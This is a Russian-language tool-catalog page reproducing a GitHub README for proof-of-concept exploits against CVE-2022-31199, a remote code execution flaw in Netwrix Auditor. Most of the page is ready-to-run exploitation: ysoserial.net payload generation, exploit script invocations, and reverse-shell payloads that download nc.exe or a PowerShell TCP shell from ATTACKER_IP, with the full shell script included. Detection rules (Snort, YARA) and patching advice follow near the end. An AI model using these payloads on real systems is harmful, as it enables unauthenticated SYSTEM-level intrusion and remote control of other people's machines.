Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-31199 — Концептуальные эксплойты для CVE-2022-31199, критической уязвимости .NET десериализации RCE в Netwrix Auditor. Включает скрипты на Python и PowerShell, генерацию полезной нагрузки с помощью ysoserial.net и сигнатуры обнаружения для авторизованного тестирования безопасности. | Kitploit
Инструменты/GitHubGitHub/developerfred/cve-2022-31199
Анализ уязвимостейЭксплуатацияТестирование на ПроникновениеКомандование и УправлениеОбучение и ОбразованиеRed TeamingРазработка Полезной НагрузкиЛаборатории и Практика
GitHub
developerfred/cve-2022-31199

CVE-2022-31199

Концептуальные эксплойты для CVE-2022-31199, критической уязвимости .NET десериализации RCE в Netwrix Auditor. Включает скрипты на Python и PowerShell, генерацию полезной нагрузки с помощью ysoserial.net и сигнатуры обнаружения для авторизованного тестирования безопасности.

Репозиторий
39 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-31199 - Эксплойты RCE для Netwrix Auditor (POC)

🔍 Обзор уязвимости

CVE-2022-31199 — это критическая уязвимость небезопасной десериализации объектов в Netwrix Auditor версиях до 10.5. Уязвимость существует в незащищённом сервисе .NET Remoting, прослушивающем TCP-порт 9004, что позволяет удалённым неаутентифицированным злоумышленникам выполнить произвольный код с привилегиями NT AUTHORITY\SYSTEM.

Детали уязвимости

  • CVE ID: CVE-2022-31199
  • CVSS Score: 9.8 (Critical)
  • CWE: CWE-502 (Deserialization of Untrusted Data)
  • Затронутые версии: Netwrix Auditor < 10.5
  • Вектор атаки: Сеть (без аутентификации)
  • Требуемые привилегии: Нет
  • Влияние: Полный компрометация системы с правами SYSTEM
  • CISA KEV: Внесён в каталог известных эксплуатируемых уязвимостей

Реальное влияние

Эта уязвимость активно эксплуатируется в дикой природе следующими:

  • Кампания с вредоносным ПО Truebot (операторы-вымогатели CL0P/TA505, связанные с Россией)
  • Киберпреступная группировка Silence
  • Угрозы FIN11

Успешная эксплуатация обычно приводит к:

  • Полной компрометации домена Active Directory
  • Латеральному перемещению по отслеживаемым системам
  • Краже данных
  • Развёртыванию программы-вымогателя
  • 📦 Содержимое репозитория

    Этот репозиторий содержит полные эксплойты Proof of Concept (POC) для CVE-2022-31199:

    Файлы

    1. exploit.py — Фреймворк эксплуатации на Python
    2. exploit.ps1 — Сценарий эксплуатации на PowerShell
    3. README.md — Данная документация
    4. manual-exploitation.md — Пошаговое руководство по ручной эксплуатации

    🛠️ Требования

    Необходимые инструменты

    Эксплуатация на базе Windows (рекомендуется)

    • ysoserial.net — Генератор полезной нагрузки для десериализации .NET

      • Скачать: https://github.com/pwntester/ysoserial.net
      • Релизы: https://github.com/pwntester/ysoserial.net/releases
    • ExploitRemotingService — Инструмент эксплуатации .NET Remoting

      • Скачать: https://github.com/tyranid/ExploitRemotingService
      • Альтернатива (улучшенная): https://github.com/codewhitesec/ExploitRemotingService

    Требования для скрипта Python

    • Python 3.6 или выше
    • Только стандартная библиотека (внешние зависимости не требуются для базовых проверок)
    • Доступ к исполняемым файлам ysoserial.net и ExploitRemotingService

    Требования для скрипта PowerShell

    • PowerShell 5.1 или выше
    • Операционная система Windows
    • ysoserial.exe и ExploitRemotingService.exe в каталоге скрипта

    🚀 Быстрый старт

    1. Проверка уязвимости цели

    С помощью Python:

    root@kitploit:~
    python3 exploit.py --target 192.168.1.100 --check
    

    С помощью PowerShell:

    root@kitploit:~
    .\exploit.ps1 -Target 192.168.1.100 -CheckOnly
    

    2. Генерация полезной нагрузки

    root@kitploit:~
    # Используя ysoserial.net
    ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "whoami"
    

    3. Выполнение эксплойта

    Python (с предварительно сгенерированной нагрузкой):

    root@kitploit:~
    python3 exploit.py --target 192.168.1.100 --payload [BASE64_PAYLOAD]
    

    PowerShell (автоматически):

    root@kitploit:~
    .\exploit.ps1 -Target 192.168.1.100 -Command "whoami"
    

    📖 Подробное использование

    Эксплойт на Python (exploit.py)

    Базовая проверка уязвимости

    root@kitploit:~
    python3 exploit.py --target 10.10.10.100 --check
    

    Полная эксплуатация с пользовательской нагрузкой

    root@kitploit:~
    # Шаг 1: Сгенерировать нагрузку
    ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c whoami > C:\temp\output.txt"
    
    # Шаг 2: Выполнить эксплойт
    python3 exploit.py --target 10.10.10.100 --payload AAEAAAD....[base64_payload]
    

    Расширенные опции

    root@kitploit:~
    # Пользовательский порт
    python3 exploit.py --target 10.10.10.100 --port 9004 --check
    
    # Пользовательская конечная точка
    python3 exploit.py --target 10.10.10.100 --endpoint UAVRServer --check
    

    Параметры командной строки

    root@kitploit:~
    --target    : IP-адрес или имя хоста цели (обязательно)
    --port      : Целевой порт (по умолчанию: 9004)
    --endpoint  : Имя конечной точки .NET Remoting (по умолчанию: UAVRServer)
    --check     : Только проверить уязвимость, не эксплуатировать
    --payload   : Полезная нагрузка в кодировке Base64 из ysoserial.net
    

    Эксплойт на PowerShell (exploit.ps1)

    Только проверка уязвимости

    root@kitploit:~
    .\exploit.ps1 -Target 192.168.1.100 -CheckOnly
    

    Выполнение команды

    root@kitploit:~
    # Простое выполнение команды
    .\exploit.ps1 -Target 192.168.1.100 -Command "whoami"
    
    # Запись вывода в файл
    .\exploit.ps1 -Target 192.168.1.100 -Command "cmd /c whoami > C:\temp\out.txt"
    
    # Пользовательский порт
    .\exploit.ps1 -Target 192.168.1.100 -Port 9004 -Command "hostname"
    

    Параметры

    root@kitploit:~
    -Target     : IP-адрес или имя хоста цели (обязательно)
    -Port       : Целевой порт (по умолчанию: 9004)
    -Command    : Команда для выполнения на цели (по умолчанию: "whoami")
    -CheckOnly  : Только проверить уязвимость, не эксплуатировать
    

    🎯 Примеры эксплуатации

    Пример 1: Сбор информации

    root@kitploit:~
    # Проверка информации о системе
    ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c systeminfo > C:\temp\sysinfo.txt"
    

    Пример 2: Обратный шелл

    Настройка прослушивателя:

    root@kitploit:~
    nc -lvnp 4444
    

    Генерация нагрузки:

    root@kitploit:~
    ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c curl http://ATTACKER_IP/nc.exe -o C:\temp\nc.exe; C:\temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"
    

    Пример 3: Обратный шелл PowerShell

    Создание скрипта обратного шелла (rev.ps1):

    root@kitploit:~
    $client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);
    $stream = $client.GetStream();
    [byte[]]$bytes = 0..65535|%{0};
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
        $sendback = (iex $data 2>&1 | Out-String );
        $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $stream.Write($sendbyte,0,$sendbyte.Length);
        $stream.Flush()
    };
    $client.Close()
    

    Размещение скрипта:

    root@kitploit:~
    python3 -m http.server 8000
    

    Генерация нагрузки:

    root@kitploit:~
    ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/rev.ps1')"
    

    Пример 4: Использование ExploitRemotingService напрямую

    root@kitploit:~
    # Проверка подключения
    ExploitRemotingService.exe tcp://192.168.1.100:9004/UAVRServer ver
    
    # Выполнение в режиме аренды (обходит некоторые защиты)
    ExploitRemotingService.exe -uselease tcp://192.168.1.100:9004/UAVRServer ls C:\
    
    # Выполнение с использованием объектной ссылки
    ExploitRemotingService.exe -useobjref tcp://192.168.1.100:9004/UAVRServer exec "whoami"
    

    🔬 Технические детали

    Первопричина уязвимости

    Уязвимость возникает из-за:

    1. Незащищённой конечной точки .NET Remoting на TCP-порту 9004
    2. Десериализации BinaryFormatter без надлежащей фильтрации типов
    3. Сервиса UAVRServer, принимающего произвольные сериализованные объекты
    4. Сервиса, работающего с привилегиями SYSTEM в типовых развёртываниях

    Процесс эксплуатации

    root@kitploit:~
    1. Злоумышленник подключается к TCP-порту 9004
    2. Идентифицирует сервис .NET Remoting (конечная точка UAVRServer)
    3. Генерирует вредоносную сериализованную нагрузку с помощью ysoserial.net
    4. Отправляет нагрузку через протокол .NET Remoting
    5. Цель десериализует объект с помощью BinaryFormatter
    6. Цепочка гаджетов выполняет произвольный код
    7. Код выполняется с привилегиями NT AUTHORITY\SYSTEM
    

    Поддерживаемые цепочки гаджетов

    Следующие гаджеты ysoserial.net работают с данной уязвимостью:

    • TypeConfuseDelegate (рекомендуется)
    • ObjectDataProvider
    • PSObject
    • WindowsIdentity
    • TextFormattingRunProperties

    Сетевой протокол

    root@kitploit:~
    Структура протокола .NET Remoting:
    ┌─────────────────────────────────────┐
    │ Преамбула (8 байт)                  │
    │ 0x00 0x01 0x00 0x00 0x01 0x00 0x00 │
    ├─────────────────────────────────────┤
    │ Заголовки                           │
    ├─────────────────────────────────────┤
    │ URI (UAVRServer)                    │
    ├─────────────────────────────────────┤
    │ Сериализованный объект (BinaryFormatter) │
    └─────────────────────────────────────┘
    

    🛡️ Обнаружение

    Сетевые индикаторы

    Правило Snort/Suricata

    root@kitploit:~
    alert tcp any any -> any 9004 (
        msg:"CVE-2022-31199 Netwrix .NET Remoting Exploit Attempt"; 
        content:"|00 01 00 00 01 00 00 00|"; 
        depth:8; 
        content:"System.Runtime.Remoting"; 
        distance:0; 
        sid:1000001; 
        rev:1;
    )
    

    Индикаторы компрометации (IOC)

    • Неожиданные подключения к TCP-порту 9004
    • Большие пакеты с заголовками .NET Remoting
    • Сигнатуры сериализации BinaryFormatter
    • Выполнение процессов из контекста UAVRServer.exe

    Обнаружение на уровне хоста

    Проверка наличия уязвимого сервиса:

    root@kitploit:~
    # Проверка, слушается ли порт 9004
    netstat -ano | findstr :9004
    
    # Идентификация процесса
    tasklist /FI "PID eq [PID]"
    

    Мониторинг журналов событий:

    • Обратите внимание на необычное создание процессов из UAVRServer.exe
    • Отслеживайте выполнение команд на уровне SYSTEM
    • Проверяйте сетевые подключения от службы аудита

    Правило YARA

    root@kitploit:~
    rule CVE_2022_31199_Netwrix_Exploit {
        meta:
            description = "Detects CVE-2022-31199 exploitation attempt"
            author = "Security Researcher"
            date = "2024-11-17"
            severity = "critical"
            
        strings:
            $header = { 00 01 00 00 01 00 00 00 }
            $remoting1 = "System.Runtime.Remoting" ascii
            $remoting2 = "UAVRServer" ascii
            $remoting3 = "Netwrix" ascii
            $serialize = "BinaryFormatter" ascii
            $gadget1 = "TypeConfuseDelegate" ascii
            $gadget2 = "ObjectDataProvider" ascii
            
        condition:
            $header at 0 and 
            ($remoting1 or $remoting2 or $remoting3) and 
            $serialize and
            any of ($gadget*)
    }
    

    🔒 Смягчение последствий

    Немедленные действия

    1. Обновление до Netwrix Auditor 10.5 или более поздней версии

      • Версия 10.5.10936.0 (6 июня 2022 г.) — первоначальное исправление
      • Версия 10.5.10977.0 (27 октября 2022 г.) — дополнительные защиты
    2. Сегментация сети

      • НЕ открывайте TCP-порт 9004 для ненадёжных сетей
      • Разместите Netwrix Auditor за брандмауэром
      • Внедрите средства контроля доступа к сети
    3. Мониторинг

      • Отслеживайте необычные подключения к порту 9004
      • Создавайте оповещения о выполнении процессов из UAVRServer.exe
      • Следите за выполнением команд на уровне SYSTEM

    Проверка

    root@kitploit:~
    # Проверка версии Netwrix Auditor
    Get-ItemProperty "HKLM:\Software\Netwrix\Auditor" | Select Version
    
    # Проверка, открыт ли порт
    Test-NetConnection -ComputerName localhost -Port 9004
    
    # Проверка правил брандмауэра
    Get-NetFirewallRule | Where-Object {$_.DisplayName -like "*Netwrix*"}
    

    📚 Ссылки

    Официальные уведомления

    • Bishop Fox Advisory: https://bishopfox.com/blog/netwrix-auditor-advisory
    • NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-31199
    • CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
    • Заявление Netwrix: https://www.netwrix.com/netwrix_statement_on_cve202231199.html

    Технические ресурсы

    • ysoserial.net: https://github.com/pwntester/ysoserial.net
    • ExploitRemotingService: https://github.com/tyranid/ExploitRemotingService
    • Research Code White: https://code-white.com/blog/teaching-the-old-net-remoting-new-exploitation-tricks/
    • NCC Group: https://www.nccgroup.com/us/research-blog/finding-and-exploiting-net-remoting-over-http-using-deserialisation/

    Информация об угрозах

    • Анализ Arctic Wolf: https://arcticwolf.com/resources/blog/cve-2022-31199/
    • Бюллетень NopSec: https://www.nopsec.com/resources/just-in-time/just-in-time-bulletin-cve-2022-31199-netwrix-insecure-object-deserialization-rce/

    ⚠️ Юридическое предупреждение

    root@kitploit:~
    ВАЖНО: Данные эксплойты Proof of Concept (POC) предоставлены для:
    - Образовательных целей
    - Авторизованного тестирования безопасности
    - Исследования уязвимостей
    - Защитных операций безопасности
    
    НЕСАНКЦИОНИРОВАННЫЙ ДОСТУП К КОМПЬЮТЕРНЫМ СИСТЕМАМ НЕЗАКОНЕН.
    
    Используя эти инструменты, вы соглашаетесь:
    1. Тестировать только те системы, которые вам принадлежат или на которые у вас есть явное письменное разрешение
    2. Соблюдать все применимые местные, государственные и федеральные законы
    3. Использовать инструменты ответственно и этично
    4. Не использовать в злонамеренных целях
    
    Автор(ы) не несут ответственности за неправомерное использование этих инструментов.
    Используйте на свой страх и риск.
    

    🤝 Участие

    Нашли проблему или улучшение? Не стесняйтесь:

    • Открыть issue в соответствующем репозитории
    • Отправить улучшения или дополнительные методы
    • Поделиться сигнатурами обнаружения

    📝 Авторы

    • Bishop Fox — Первоначальное обнаружение и раскрытие уязвимости
    • James Forshaw — Фреймворк ExploitRemotingService
    • Alvaro Munoz — Разработка ysoserial.net
    • ProjectDiscovery — Фреймворк шаблонов Nuclei

    📅 Хронология

    • 6 июня 2022 г. — Netwrix выпускает версию 10.5 с исправлением
    • Июль 2022 г. — Bishop Fox публикует уведомление
    • 27 октября 2022 г. — Выпущены дополнительные исправления (версия 10.5.10977.0)
    • Май 2023 г. — Наблюдается активная эксплуатация (кампания Truebot)
    • 11 июля 2023 г. — Внесён в каталог CISA KEV
    • Ноябрь 2024 г. — Выпущены POC для защитных исследований

    Версия: 1.0
    Последнее обновление: 17 ноября 2024 г.
    Поддерживается: Сообществом исследователей безопасности

    По вопросам и проблемам обращайтесь к официальным уведомлениям и документации.

    Скачать инструмент